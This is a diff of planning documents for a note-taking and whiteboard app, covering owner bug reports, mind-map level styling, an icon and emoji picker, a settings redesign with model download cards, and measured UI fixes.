+     assisted, automated, easy manually, and smooth to use." And: "there have
+     obviously been a lot of bugs that have been missed if something as big
+     as filing a note was very broken so I'm worried."
+     Same day, also open: the graph's default layout "looks messy and is
+     distributed wierdly"; the slash menu's Link card and Web link render the
+     same on a line of their own (a lone link is a card, CHAT_PLAN decision
+     12; recommendation: Web link on an empty line inserts inline syntax the
+     card rule skips, owner to confirm); a toggle in the note edit form's
+     preview reportedly exits preview (not reproduced in Chromium, capture's
+     half fixed in 31d5460).
+     Done the same day (commits 3d493ac to 2b721bd): capture preview and
+     gutter, spinner under reduced motion, one-tab picker strip, unread-dot
+     gap, popup agent "(no answer)" reasons and waiting line, Ask waiting
+     line, 499 for abandoned requests, greeting name once, one nudge on an
+     empty agent round, built-in engine applies on selection, Chat and agent
+     read the app's help for how-to questions, popup user mark, companion
+     hide sweep, web reader on site-builder pages.
+     **2026-10-03 (INBOX 432, PR 162):** (1) to (7) all done; (5) the
+     companion goes under the bar its perch scrolls under
+     (`tests/test_companion_stacking.py`, `companionstack.js`: 62px over the
+     bar to 0, 103px at Large to 0).
+     Placed, in this order: (1) **a real-model pass before more features**:
+     `scratchpad/llama-dev.sh serve` with a 3B model, then the popup agent's
+     two failing prompts, filing a new note, and `pytest -m evals`, because
+     every failure reported today passed a fake-transport suite; (2) the
+     note flow as one brief (WORLD_CLASS_PLAN, notes dossier): filing,
+     re-filing, tagging and editing measured end to end in the running app
+     with the model; (3) built-in engine status in words (ready, indexing N
+     of M, last query semantic or keyword); (4) minimap drag performance
+     (whiteboard and mind map, measured frame times); (5) companion stacking
+     by perch; (6) graph default forces; (7) the two small visual ones
+     (button gap, Plan/Web pill contrast) with contrast.js.
+
+## The features audit's Phase G, what is left (placed 2026-10-05, op3-1005)
+
+From `scratchpad/audit1005/features.md` section 10 and Phase G, open since
+FEAT-13's first part (HISTORY.md, "Step 6"). Built so far: Branches from my
+notes (decision 36 in WHITEBOARD_PLAN) and Summarise this branch (HISTORY.md,
+"Moved from the plans, 2026-10-05 (op3-1005)"). Open, each with the fake
+transport for its tests and the no-model fallback measured in a sweep:
+
+- **Ghost topics on the canvas**: the suggestions drawn faded under the topic,
+  Tab to take one, Escape to drop them all. Waits on boot CSS room (the cap
+  is full; the picker dialog is the shape until then).
+- **Expand from my notes**: a topic grown a level from the note it is
+  grounded in (its headings and links), not from search.
+- **The affinity sort** (a board, WHITEBOARD_PLAN's territory): thirty
+  stickies grouped into named frames by theme, each placement shown with the
+  notes that back it, accepted per frame, one Undo step.
+- **The claim check** (DOCUMENTS_PLAN's territory): a document's sentences
+  checked against the notebook, each marked supported, contradicted or not
+  found, with the note.

+## 14. Core nodes, levels and the icon library (INBOX 641, 642; mc1, 2026-10-05)
+
+The owner, 2026-10-05: "I'm still not happy on the mindmap with how the core
+nodes work and can be customised as well as with the icons in them", and "an
+emoji and icon widget library which can be dragged and placed in the
+whiteboard and mindmap and which are also available in text editors and
+formatting toolbars". Read against Coggle, XMind, Miro, Illustrator and
+Photoshop.
+
+### 14.1 Measured before anything was designed
+
+Moved to HISTORY.md ("Moved from the plans, 2026-10-05 (MINDMAP_PLAN §14, mc1)"), with the build record: the centre, a branch and a leaf drew identically (13.6px, 400, 31px).
+
+### 14.2 What the five apps do, and what is taken
+
+| App | What it does | Taken as |
+| --- | --- | --- |
+| XMind | A theme styles Central topic, Main topic and Subtopic separately; floating topics have their own | Levels (decision 38) and the hierarchy presets (decision 39) |
+| Coggle | The centre is a large bold card; branches are thick tapered lines; deeper topics are text on the line | The Outline preset; main branches thick by default |
+| Illustrator | Graphic styles: a named look, linked, "Redefine graphic style" updates every object wearing it; Symbols dragged from a panel; the eyedropper copies appearance | Level styles are linked looks; "Use this look for its level" is Redefine (decision 41); stickers (decision 44) |
+| Photoshop | Copy and Paste layer style; the Glyphs panel: search, recent, insert into text | Copy and paste a topic's style (decision 42); the picker's search and Recent row (decision 43) |
+| Miro | Copy style and Paste style (Ctrl+Alt+C, V); an icon and emoji panel dragged onto the board; reactions | Paste style reaches topics; drag from the picker onto the canvas |
+
+Not taken now, kept open under INBOX 641: Illustrator's linked symbol
+instances (edit one, every placed copy follows), Photoshop's layer effects
+(shadow, glow, stroke per topic), Miro's reaction stamps and voting, and the
+whiteboard half of 641's research (beyond stickers).
+
+### 14.3 Decisions made (do not remake)
+
+38. **A topic draws as its level unless told otherwise** (taken 2026-10-05,
+    mc1). Three levels: 0 is the centre (a root with topics under it, or the
+    only topic on the map), 1 the main branches (its children), 2 every
+    topic deeper, and a free root with nothing under it (a floating topic,
+    XMind's own fourth style, drawn as a sub-topic). The level is worked out
+    in the render's one walk of the tree (`wbMapLevels`) and painted as
+    `data-level`, never stored on a topic: dragging a branch to another
+    parent changes its look with its place, which is what a level means.
+39. **The hierarchy is a named preset on the theme, resolved at paint**
+    (decision 9's rule, extended). `theme.hierarchy` names one of four:
+    Classic (the default, stored as no value: centre 22px bold on a pill
+    filled in the accent, main branches 17px bold with a tinted card and a
+    thick line), Outline (Coggle: the centre as Classic, everything else
+    plain text on its line), Boxed (XMind: a filled box per level) and Flat
+    (every topic as before this section, for a person who wants that). Every
+    map made before this draws Classic, since the owner asked for a
+    hierarchy by default; Flat is one choice away and one Undo back.
+40. **A level's own look overrides its preset, and a topic's own look
+    overrides both** (taken 2026-10-05). `theme.levels` holds up to seven
+    fields per level (text size, bold, italic, box shape, edge bar, fill,
+    line thickness), sent and stored whole, so Undo puts the whole set back.
+    The order a field is read in: the topic's own value, its level's,
+    its preset's, the map-wide theme's, the app's. The map-wide theme stays
+    what it was (decision 8's ten fields), now underneath the levels: setting
+    every topic's size map-wide no longer flattens the centre.
+41. **"Use this look for its level" is Illustrator's Redefine** (taken
+    2026-10-05). On a topic's menu: the topic's own looks (the level fields)
+    are written into its level's style and dropped from the topic, one
+    request for the theme and one per changed topic, one Undo step, so every
+    topic at that level that was never told otherwise follows. "Reset to
+    branch" stays the way back for one topic.
+42. **Copy style and Paste style reach topics** (taken 2026-10-05). Ctrl+Alt+C
+    on a topic copies its look (`WB_MAP_STYLE_KEYS` less `link`, the line's
+    label and its waypoint: what a topic *is* never travels); Ctrl+Alt+V
+    pastes onto every selected topic, one Undo step. A topic's style pasted
+    on a shape, or a shape's on a topic, is refused out loud as before.
+43. **One icon and emoji picker, one lazy module** (taken 2026-10-05).
+    `icon-picker.js` and its stylesheet, fetched on first use by
+    `pickIconOrEmoji` (editor.js: app.js is at its gzip ratchet), never a
+    second grid: a `.help-popover.icon-picker`
+    placed by `placeHelpPopover`, a search field, Emoji and Icons as a `.seg`,
+    a Recent row first (this device, twenty), category heads, and one
+    `role="listbox"` grid of `role="option"` tiles (arrows move, Enter
+    picks, Escape closes and gives focus back). Icons are the vendored
+    Phosphor names read off its own stylesheet (no list to keep in step);
+    emoji are a curated set of about 470 in nine groups with their
+    Unicode names, written as escapes like `DOC_EMOJI_SOURCE`. Nothing is
+    fetched. Every tile is draggable, carrying its glyph as text (so a drop
+    into any text box inserts it) and as `application/x-memorymap-icon`.
+44. **A dropped icon is a sticker; dropped on a topic it is that topic's
+    icon** (taken 2026-10-05). On a board or a map's empty canvas: an emoji
+    becomes a text object with `sticker: true` (no card, the glyph sized to
+    its box, resized as any object is); a Phosphor icon is the Library's own
+    vector icon (`wbLibIconEntry`, placed through `/place`, so it recolours
+    and exports as a shape). Dropped on a topic, either sets `data.icon`.
+    Each is one Undo step. The board's Insert menu opens the picker for a
+    person without a mouse; a picked tile is placed at the middle of the view.
+45. **A topic's icon is one slot: a Phosphor name or one emoji** (taken
+    2026-10-05). `data.icon` keeps its name and widens its rule: either the
+    Phosphor pattern it had or a single emoji (at most 16 code points, no
+    ASCII, no markup); the paint pass tells them apart by that pattern. The
+    exports carry it as `_icon` already. Decision 34 stands: markers stay
+    Phosphor only, because a marker is read across a map and an emoji is
+    drawn differently by every system.
+46. **In text, an emoji is a character and an icon is `:ph-name:`** (taken
+    2026-10-05). The note and document formatting toolbars, the document's
+    Insert menu and the "/" menu open the picker; an emoji goes in as itself
+    (it survives any export), an icon as the token `:ph-name:`, which the
+    reading view draws as the glyph (`renderInlineMarkdown`, outside code)
+    and every other reader sees as the words.
+47. **The Centre's Enter adds a main branch** (taken 2026-10-05; XMind and
+    Coggle). On the level-0 topic, Enter and Shift+Enter add a child, since a
+    second centre is never what was meant; a floating topic's Enter keeps
+    adding a free topic beside it.
+
+### 14.4 What is open
+
+Phases 14a to 14e are built (HISTORY.md, "Moved from the plans, 2026-10-05
+(MINDMAP_PLAN §14, mc1)"). Open, from INBOX 641 and §14.2's "not taken now":
+
+- **Linked stickers** (Illustrator's symbols): edit one placed icon or emoji
+  and every copy follows. Needs a `library_ref` that is followed, which
+  decision 25 of WHITEBOARD_PLAN keeps as "kept, never followed".
+- **Topic effects** (Photoshop's layer styles): shadow and glow per topic and
+  per level; a level field each, under decision 40's rule.
+- **Reaction stamps and voting** (Miro): a count of stamps on a topic or card.
+- **The whiteboard half of 641's research**, beyond stickers.
+- The exported picture draws every topic as one box: the levels, shapes and a
+  Phosphor icon do not reach PNG or SVG (an emoji icon does, as text).
+- The document editor's `:shortcode:` completion keeps its own 248-entry table
+  (`DOC_EMOJI_SOURCE`); fold it into `ICON_EMOJI_SOURCE` when the completion
+  can wait on the picker's script.

-   `gap:`/`padding:` values on `.row`-class selectors and distinct
-   `border-radius` values on surface selectors, with a ceiling the later
-   phases lower. It cannot see the DOM; it stops regressions between
-   sessions.
-2. Add a `make ui-sweep` (or a `scratchpad/ui-sweeps/all.sh`) that runs every
-   sweep against a running app and writes the tables to one file, so
-   before/after is one diff.
-3. Screenshot set: every tab + every Settings section, light and dark, 1440
-   and 1024 wide, into the scratchpad. Same script each session.

-## Phase 1 — mass and layout (1 session)
-
-Target: the app reads as one shell with rooms in it, not as cards on a
-gradient.
-
-1. **Shell.** One gutter (`--page-gutter`, done) — extend to the dashboard
-   grid gap, the Library grid gap, and the gap between the sub-tab strip and
-   its content (measured 24/17/8px). Status bar and top bar: same height
-   family (`--header-h`), same horizontal padding as the page gutter so the
-   logo, first tab, sidebar edge and first card edge share one x.
-2. **Card system.** `.card` padding to `--space-6/--space-7` on ≥1100px
-   content columns (measured 16/20px everywhere, which is dense for a full-
-   width panel and right for a widget). Define two card sizes only:
-   `.card` (panel) and `.card.compact` (widget, sidebar). Kill card-in-card:
-   `.card .card` becomes a tone (`--surface-2`), never a bordered pane.
-3. **Dashboard.** Hero from 150px to one row (greeting · date · time · name),
-   quick actions become the first widget row, stat tiles fold into the
-   Stats widget. Widget head row: 32px, title + one action, no border below.
-4. **Sidebars.** One width token, one head row (28/38px measured → one),
-   list rows at `--target-min` with tone hover, no bordered rows.
-5. **Max reading width.** `.entry-list.is-rows` already caps the measure;
-   apply the same `--measure` token to chat bubbles, document preview, the
-   Contents page and Settings prose (currently 100% of a 640px column, fine;
-   100% of a 1100px column, not).
-
-Acceptance: `space.js` shows one card padding per card size, one card gap,
-one shell gutter; head rows at one height; screenshots side by side.
-
-## Phase 2 — component consistency (1–2 sessions)
-
-Target: one recipe per component family, counted.
-
-| Family | Now (measured) | Target |
-| --- | --- | --- |
-| Buttons | 13–21 signatures per tab | 4: filled, tonal, plain, icon-tonal (+ danger colour) |
-| Rows (`.row`, toolbars) | gaps 4/6.4/8/9.6/16px | 2: `--space-3` inside a control group, `--space-4` between groups |
-| Head rows | 28/38/40px | 1: `--control-h` |
-| Chips/badges | ~6 recipes (tag, link, status, count, filter, inline) | 2: static tag (tone, no border) and interactive filter chip (tonal button) |
-| Fields | inputs with border+inset; selects with border+shadow | 1: recessed well, `--field-inset`, no drop shadow |
-| Segmented | 3 | 2: tab strip (well) and choice (chip well) — done, keep |
-| Menus/popovers | action-menu, select-menu, doc-dock-menu, help-popover, graph panels — 5 shells | 1 `.popover` shell: `--modal-bg-opaque`, `--border`, `--glass-shadow`, `--radius-md`, hidden-until-placed |
-| Dialogs | modal-card + 4 one-off panels | 1 |
-| List rows | entry-list li, library-card, bookmark-row, extras-row, setting-row | 2: card row (tone) and divider row |
-
-Method per family: run the sweep, read the signature table, pick the winner
-(the one most used, already on tokens), rewrite the others onto it, delete
-the one-off rules, re-run. Record each family's before/after count in the
-commit.
-
-## Phase 3 — typography, colour, glass restraint (½ session)
-
-1. Type: `--text-md` for control labels everywhere (measured 0.85/0.92rem
-   one-offs remain in Settings labels and library meta). Muted text at one
-   colour, one opacity — no `opacity: 0.75` on top of `--muted`.
-2. Colour: the accent is for the one filled action, selection, and links.
-   Remove accent from decorative borders, dots and icons that are not
-   interactive. Status colours (`--ok/--warn/--error`) only on status.
-3. Glass: keep `backdrop-filter` on the top bar, sidebars, floating panels
-   and sticky strips. Remove it from widgets and list cards (tone instead) —
-   the measured blur layer count drops again and the page stops shimmering.
-   Sheen: off by default; the setting stays.
-4. Background: the blobs at half strength by default; a professional product
-   has a quiet page.
-
-## Phase 4 — motion and placement (½ session)
-
-1. Every floating panel opens through one path: measure → place → reveal.
-   The toolbar menus do (`.is-placed`); port the same class to
-   `.action-menu`, `.select-menu`, `.help-popover`, the graph panels and the
-   whiteboard floating panel, and the chat model panel.
-2. No transitions on `left/top/width/height`; opacity and transform only,
-   ≤ `--motion-base`. Hover changes tone, never size or shape.
-3. Focus rings: one recipe (`--accent` 2px offset) on every interactive
-   element; verify with a keyboard-walk script.
-
-## Phase 5 — per-surface passes (1 session each, in this order)
-
-1. **Settings** — the most visited and the most measured; apply phases 1–3
-   and the #129 list (spacing, hierarchy, proximity per page).
-2. **Notes** (Browse, Capture, Write, Ask) — #132; the capture toolbar's
-   density; the row list as the reference list component.
-3. **Chat** — dock, sidebar, bubbles; #35's odysseus-style shape as the
-   target, kept restrained.
-4. **Library** — All/Documents/Files/Images/Links/Contents rows onto the two
-   list-row recipes; #101.
-5. **Dashboard** — phase 1's hero and widget head; widget internals onto the
-   compact card.
-6. **Graph, Timeline, Reminders** — toolbars onto the row recipe; the graph's
-   floating panels onto the popover shell.
-7. **Whiteboard and Documents editor** — panel chrome onto the popover
-   shell; the toolbar strip as the reference toolbar; #133, #134.
-
-## Phase 6 — designed states and copy (½ session)
-
-1. Empty states: icon + one sentence + one action, one component, used by
-   every list. 2. Loading: skeleton rows for lists, a spinner only inside a
-button. 3. Errors: inline under the control that failed; toasts only for
-background work. 4. Copy: sentence case everywhere except eyebrows; verbs on
-buttons; no exclamation marks; one voice (DESIGN.md gets a "Voice" section).

-    `--text` on every blurred surface. Owner: Opus. Size S.
-
-    **Measured before building it, and the numbers move the decision**
-    (2026-09-09, 1440x900, the running app):
-
-    - `--text-on-glass` has no deficit to close. The menu row on the Notes
-      kebab and on the dock's Filter menu is **15.25:1** in light and
-      **14.14:1** in dark (`scratchpad/ui-sweeps/onglass.js`), because those
-      surfaces are `--modal-bg` at 96% rather than thin glass, and
-      contrast.js reports **0** low-contrast items on every tab and ten
-      Settings sections in *both* themes. A token that raises 15:1 to 16:1
-      is a token nothing needs.
-    - `.glass-clear` on `.whiteboard-floating-panel` would reverse a
-      recorded decision. That panel was deliberately moved *up* to
-      `--modal-bg`, with the reason written beside it in
-      06-timeline-dialogs.css: at the page-card tier it "read visibly
-      thinner than every sibling panel" over the board's own art.
-    - The one surface where the variant is honest is the graph's floating
-      zoom pill, which is `--card` plus `--glass-filter` over the animated
-      background, and it shares the floating-control recipe with
-      `.scroll-top`, so changing one changes both.
-
-    **Recommendation, to be taken unless the owner says otherwise**: keep
-    `.glass-clear` and `--glass-scrim` for a surface that actually floats
-    over media (a whiteboard image background, the lightbox), build it with
-    that surface rather than ahead of it, and drop `--text-on-glass` until a
-    measurement asks for it. Rule 4 in DESIGN.md stays as the principle.

-    follow-up (Opus): each style gets a measured frame cost, a still frame
-    under Performance mode, no seams at the edges, the intensity slider
-    changes something visible at every step.
-
-    Three of the four are done and are in HISTORY.md ("Moved from the plans,
-    2026-09-09"): the frame cost per style is measured and printed by
-    `scratchpad/ui-sweeps/bgart.js` (aurora +21ms, constellation +20ms,
-    waves +17ms, bubbles +17ms, mesh +28ms with a 167ms worst frame, over a
-    16.6ms idle baseline, headless and therefore software-rasterised);
-    Performance mode now stops the art dead, which it did not before because
-    `bg-motion: moving` bypassed the only test it reached the art through;
-    and there are no seams (the canvas is resized with the window and covers
-    it exactly at 1440x900, 900x1200 and 1600x800). Two of the five styles
-    also ignored the intensity slider's density and now scale with it.
-
-    **What is left is the fourth**: does the slider change something a
-    person notices at *every* step? Two ways of measuring it failed and both
-    are written into the sweep so they are not repeated: ink on the canvas
-    varies more between two boots of the same settings than it does across
-    the slider (every style places its marks with `p.random`), and the frame
-    cost at the two ends moves by less than the environment's noise. The
-    honest next step is a human looking at five screenshots, or a change of
-    design so the slider drives something with a large signature (the wash's

-186. **The timeline dock's kind buttons.** Built (2026-09-13); the block, with
-    its numbers, is in HISTORY.md ("Moved from the plans, 2026-09-13"). One
-    decision made here and not to be remade: a fixed filter set is a `.seg`
-    well and not a row of chips, because a chip is a filter you can take off
-    and these four are always all four. The variant is `.seg-multi` in
-    DESIGN.md's recipe index, with `tests/test_ui_recipes.py` holding it.
-
-
-165. **Mid-work drop, 2026-09-13, verbatim (the owner), the Library's selection
-    bar, one screenshot ("1 selected" with Open, Delete, Done).** "I want the
-    selected bars to be sticky to the top of the screen when scrolling".
-
-    **Built** (2026-09-13). One recipe for all seven bars, `.library-contextbar`
-    plus the new `.selectbar`, in DESIGN.md's recipe index with
-    `tests/test_ui_recipes.py` holding it: sticky at `--selectbar-top`, the
-    accent tint stacked over `--modal-bg-opaque` so the list cannot show
-    through it, and the Notes and timeline bars moved off their own hand-built
-    paint onto the shared strip. `--selectbar-top` is zero for every bar whose
-    scroller starts below its sub-tab strip, and `var(--notes-sticky-top)` on
-    `#tab-notes`, which is the trap commit 27167e3 records. The Library's own
-    "All" bar moved out of the controls card to be a child of the scrolling
-    section: sticky only travels as far as its own parent, and that card ends
-    above the grid. Measured with `scratchpad/ui-sweeps/selstick.js` in both
-    themes: before, the Notes bar at y=-465 with 677px of list scrolled; after,
-    four bars parked at their scroller's top edge (offset 0, and 56 under the
-    Notes strip) through 7,136px, 1,552px, 5,025px and 2,701px of scroll, and
-    the timeline's bar sticky over a table that pages rather than scrolls. 0
-    console errors, contrast.js 31 surfaces ok.
-
-    Found, not fixed: `selectMode` in app.js is one flag shared by the Notes
-    list and the timeline table, so leaving Notes in select mode turns the
-    timeline's own Select off on the first press. The sweep works round it and
-    records why.
-164. **Mid-work drop, 2026-09-13, verbatim (the owner), three surfaces, one
-    screenshot of a board card's preview (a wash of rounded blobs and one
-    squiggle over "3 cards, 8 sketches, 1 item").** "board previews need
-    upgrading and fixing, the graph minimap needs an upgrade, and the image
-    cards in the library images subtab need a massive improvement in ui and
-    ux." The fourth report on the picture cards; the third (145) was fixed the
-    same day, so this one is about what is left after it.
-
-    **Board previews: built** (2026-09-13). Three faults, each measured with
-    `scratchpad/ui-sweeps/boardpreview.js`, which seeds the owner's own board (3
-    cards, 8 sketches, 1 item) and exits non-zero on any of them.
-
-    - *The one squiggle.* A sketch is stored with `x = 0, y = 0` and its path in
-      absolute board coordinates, so the preview drew all eight at the board's
-      origin at one default size: 8 marks at 1 position, 1 size. The server
-      reads the stroke's own box now (`_sketch_preview`, the server's copy of
-      the canvas's `wbPathBBox`, and the reason it is a copy is written there)
-      and also sends the tool and the ink, so `mapPreviewSketch` draws a
-      rectangle as a rectangle, a circle as a circle, a line corner to corner
-      and a pen stroke as a scribble filling its box. After: 8 marks, 8
-      positions, 7 sizes, and 3 inks on the card where there was 1.
-    - *The blobs.* A block's corner was 0.35 of its own short side, measured at
-      8.66px on a 24.7px block, which is 35%: not a rounded rectangle and
-      nothing like the canvas's own 7%. Capped in the preview's nominal units as
-      well as by the fraction, so it is one corner at both sizes the preview
-      draws at. After: 2.35px, 8%.
-    - *The titles.* Three cards titled "Retry budget", "Ingest pipeline" and
-      "Open questions" drew "Retr…", "Inge…" and "Open…", because a label went
-      *inside* its block whenever five characters fitted. Inside is now for a
-      label that nearly all fits, which is the map topic it was built for; a
-      note's title goes beside its block, where the budget is 16 and it arrives
-      whole.
-
-    Also: a picture on the board takes the picture glyph and `--muted` rather
-    than a third shade of the same accent (it is the one item with no words of
-    its own, and the server deliberately sends no label for it). Regression
-    checks: `preview.js` on four cards (a map keeps its 6 labels, 2 inside, and
-    its 5 edges; contrast 4.77:1), `boardsthumb.js` unchanged at 72x40 with a
-    fill ratio of 0.852, `errors.js` 0 errors and 0 layout findings.
-
-    **The graph minimap: built** (2026-09-13), measured with
-    `scratchpad/ui-sweeps/graphminimap.js`, which seeds a hub-and-spokes notebook
-    and asks five questions of the panel.
-
-    Before, on a 192-note map with 39 links: 192 dots, **0 edges**, 0 marks for
-    the note in hand. The viewport rectangle and drag-to-pan were already right
-    (the frame moved 8.8px on a 260px pan; a drag across the panel moved the
-    canvas centre 23.6px) and are untouched. What was missing is the half that
-    makes an overview an overview: a scatter of points says where the notes are
-    and nothing about what is joined to what. The links are drawn under the dots
-    now, deduped (the adjacency map holds both directions) and built once per
-    render rather than once per paint, because a cooling layout paints every
-    eighth tick; the list is strided to a cap of 600 lines, evenly, for the same
-    reason the dots already are. And the note that is selected, or the one the
-    keyboard is on, takes a ring in `--ink`: the two pieces of state that already
-    mean "the one in hand", read rather than duplicated. After: 39 edges, 1 ring,
-    in both themes, 0 console errors.
-
-    Not verified: the drag-fps gate in `graph.js` reports 43.9 fps against its
-    own 55, with the renderer drawing in 5.30ms of a 16ms budget. That is the
-    sandbox limit HISTORY.md records under "What the gate does not meet, and why"
-    (7.9 fps with the layout hot, 59.2 with the worker stopped and nothing else
-    changed), not a cost of this change, but it was not measured against the base
-    branch this session.
-
-    **The picture cards, fourth report: the part that was broken is built**
-    (2026-09-13), measured with `scratchpad/ui-sweeps/imagecard4.js`, which asks
-    about use rather than paint (`imagecard3.js` still owns the geometry).
-
-    The fault: **the card's own action was pointer-only.** Opening the picture is
-    the whole point of a gallery, and it was a click handler on an `<img>` and
-    another on the filename. Measured on a resting card, the controls a keyboard
-    could reach were the selection tick and the Rename button: so a keyboard
-    could select a picture and rename it but could not open one, and a screen
-    reader was read the file's `alt` with nothing to say it did anything. The
-    thumbnail is now the control it already behaved like (`role="button"`,
-    `tabindex="0"`, "Open <name>", Enter and Space), with the ring drawn *inside*
-    the frame because the frame clips and an outside ring is clipped away
-    entirely. After: Tab reaches it, Enter opens the lightbox, the ring is 2px
-    solid accent at -4px, 0 console errors. The cursor was already `zoom-in`, so
-    the card was telling a pointer the truth and a keyboard nothing.
-
-    **Measured and deliberately not changed: the hole a row-mate's open fold
-    leaves.** At rest the row is right: seven cards all 240.7px tall with 1px
-    under the last line, and the picture taking the slack (229.1px on a card with
-    no caption against 144px on one with a caption and a reading). Open one card's
-    fold and the row goes to 411.1px: every picture grows to its 16rem ceiling and
-    the leftover becomes a hole of 59 to 145px under the other six cards' last
-    lines. That ceiling is the recorded decision (a 583px picture in a 176px
-    column was the alternative, and a two-row subgrid was built, measured and
-    taken back out because it put the same hole back at *rest*), so this is the
-    trade-off working as written rather than an oversight. The three ways out, for
-    whoever takes it next: a shorter fold body (11rem keeps about six lines and
-    was chosen for that), a taller picture ceiling (the poster), or a caption
-    clamp that grows into the slack (not expressible in CSS today).
-
-    Also fixed here: `imagecard3.js`'s open-to-shut ratio was taken across the
-    whole gallery, so on 182 cards it compared two different rows and reported
-    2.63 against its own limit of 2. The report it gates is about cards "side by
-    side", which is one grid row: row-scoped it reads 1.71, the figure commit
-    e5a0a19 recorded.

+## Settings information architecture (INBOX 444)
+
+The owner, 2026-10-03: "a major expansion, improvement and modern/professional
+ui/ux redesign of the models settings page suggested downloads section ... the
+settings needs better designing, rearrangement, better internal navigation and
+cleaning up." Measured first with `scratchpad/ui-sweeps/settingsia.js`
+(1440x900 and 390x844, a fake Ollama so Models is whole: `scratchpad/
+fake_ollama_server.py`).
+
+**Before:** 20 sections; 30,557px of settings at desktop width and 51,331px at
+390; 65 groups, 1,097 controls (253 of them Logs rows), 44 help popovers; 47
+one-line descriptions that wrap at 1440, 170 at 390. Models 4,737px at 1440
+and 10,275px at 390, with the search engine, the search index and (two
+sections away, in General) the search relevance floor that tunes them. Nine
+concerns set from two or three sections (a background job's model: Models and
+Tasks; web search: Tools and Web search; search relevance and the index:
+Models and General; clearing old data: General and Import & export; how Atlas
+answers: Models, Tools and General). Suggested downloads: 31 rows, 29
+identical filled Download buttons, a 2,237px box (6,313px at 390), no
+mention of memory or of whether a model fits this computer. The nav had four
+groups, a search that only hid nav buttons, arrow-key walking, and no index
+inside a 4,000px section.
+
+### Decisions made
+
+1. **Six nav groups, by what the person is doing:** AI (Models, Search and
+   index, Personas, Skills, Tools it can use, What it remembers, What it
+   learned, Web search); Notebook (Profile, General, Templates, Import &
+   export); Look and feel (Appearance, Keyboard shortcuts); Privacy and
+   security (Account & security, Privacy); System (Packages, Background
+   tasks, Logs); Help and About. Profile sits with the notebook, not the AI:
+   it is the person's own record. `tests/test_settings_ia.py` pins the order.
+2. **One new section, `searchindex` ("Search and index"):** the search
+   engine, the search index and the search relevance floor, which were in
+   Models (two) and General (one). Measured reason: Models was the second
+   longest pane and the three are one concern.
+3. **Answer style moves from General to Personas:** it is Atlas's voice, and
+   the Personas pane already says so. General is left with the recycle bin,
+   chat history, notifications and writing.
+4. **Settings that guard something stay beside it.** "Keep Atlas on this
+   machine" stays with the backend address it guards; the Privacy pane
+   reports, it does not duplicate.
+5. **Every existing id and `data-section` is kept.** A deep link that names a
+   control is resolved to the section that holds the control now
+   (`openSettingsModal` reads `closest(".settings-section")`), so a later move
+   cannot strand a link; callers were also updated, and a lint
+   (`test_a_link_names_the_section_that_holds_its_target`) keeps them honest.
+6. **No section is merged away this round.** Templates, Skills and Personas
+   list rows and the sampling sliders were fixed and are guarded by
+   `tests/test_badge_recipe.py`; they are not touched.
+7. **Internal navigation is one lazy file, `settings-find.js`** (loaded with
+   the first open of Settings, so outside the boot gzip budget, which sits
+   842 bytes under its cap). The nav search existed (it hid the sections whose
+   text lacked the word); it now also lists the matching settings (a group
+   head or a control's label, with the section and group), capped at eight,
+   and a press opens the section and rings the setting. A long section (four
+   group heads or more, at least 1.5 windows tall) gets a sticky index of its
+   heads with the current one in `aria-current="location"`. The hash route
+   `#/settings/<section>` already existed (router.js) and is kept as the only
+   deep link; no per-setting hash. Enter on a nav entry (or a click) puts the
+   focus on the section heading; the arrow keys still walk the list and keep
+   the focus in it. Recipes: two rows in DESIGN.md, linted.
+8. **Suggested downloads are model cards**, grouped by purpose (chat and
+   filing, bigger machines, search, images, reading text), `settings-models.js`.
+   One starting pick per group, in the catalogue's own words, labelled "our
+   starting pick" and not a benchmark; it is the one filled button in its
+   group. The server owns the numbers: the memory a model asks for
+   (`ram_gb`: stated where the catalogue says "Needs ~16 GB", else the
+   download size x 1.15 + 0.7 GB rounded up to a half), what it is good at,
+   and the fit verdict against this computer's memory (`GET /models/hardware`,
+   standard library only): Fits under 60% of memory, Tight to 85%, Too big
+   above. System memory only; a GPU's own memory is not measured, and the page
+   says so behind its '?'. A too-big download asks first. "Hide models too big
+   for this computer" is a per-viewer switch.
+9. **Download another model** takes an Ollama name or a Hugging Face link or
+   `hf.co/` name, says what it is before anything downloads
+   (`POST /models/inspect`, no network, no claim of a size), and then it is a
+   card like the others, with the same progress and Cancel. `/models/pull`
+   refuses what the check refuses. Only ollama.com and Hugging Face names are
+   accepted; a name carrying another registry's address is refused.
+10. **Not done, left open:** the Tools and Appearance panes are still long
+    (4,247px and 1,296px at desktop width) and are indexed rather than
+    split. (The Installed models list is model cards now, and the
+    background-job "duplicate" was two settings, the utility model and the
+    autonomous pass's own override, whose default now names the model it
+    falls back to: HISTORY.md, "Moved from the plans, 2026-10-05 (444
+    decision 10: the installed models as model cards)".)

+12. **A closed shape holds text** (taken 2026-10-04, the competitor pass:
+   tldraw, Excalidraw, Miro and FigJam all do it, and a flowchart is the
+   first thing anyone draws with the four shape tools). The text is `label`

+   group, so it moves, resizes, turns, exports and undoes with the shape
+   rather than being a text box parked on top. Double-click the shape or
+   press Enter with it selected; Enter or Escape ends, Shift+Enter breaks the
+   line; the right-click menu says "Add text". Centred in the shape's label

+   more (`wbCoreInkFor`, the core topic's rule). No size, font or alignment
+   controls: the bar keeps its seven, and those three are not what a first
+   flowchart misses. Lines, arrows and pen strokes take no text; a label on
+   a connector is decision 13.
+13. **A connector holds a label** (taken 2026-10-04, the same pass: Miro,
+   FigJam and Excalidraw all label a connector, and "yes" and "no" on the two
+   arrows out of a diamond are what decision 12's flowchart needs next).

+   directly, earlier, and a gesture people already use here): the label is
+   Enter on the selected connector and "Add a label" on its right-click menu.
+   A cross-link on a map is the map's and keeps its ring; this is the
+   board's links. Shares decision 12's one editor (`wbOpenSketchLabelEditor`).
+14. **A frame is a titled region that carries what is in it** (taken
+   2026-10-04: no decision existed for the open "board frames" row, and the
+   recommendation was taken under standing order 3). tldraw's and
+   Excalidraw's shape: an edge and a title, no fill, so shapes on the
+   drawing layer show through; F, the rail's Add section and the Insert
+   menu; click drops one (480x320, fitted to the screen), a drag draws it.
+   An object of kind `frame`, its title in `content`, stacked below
+   everything. Its inside lets the pointer through (a press inside selects
+   or draws as on bare board); the title takes the pointer. Dragging the
+   title carries whatever lies wholly inside, decided when the drag starts;
+   Ctrl moves the frame alone (the map topic's rule). Double-click the title
+   to rename. Delete leaves what it held. No rotation, no style or order
+   controls. Not on maps. Nesting, clipping and a frame as an export or
+   presentation unit are not in this decision.
+15. **A locked item lets the pointer through** (taken 2026-10-04, the open
+   "lock" row, recommendation taken under standing order 3). Excalidraw's
+   shape rather than tldraw's selectable-but-frozen one: a locked item
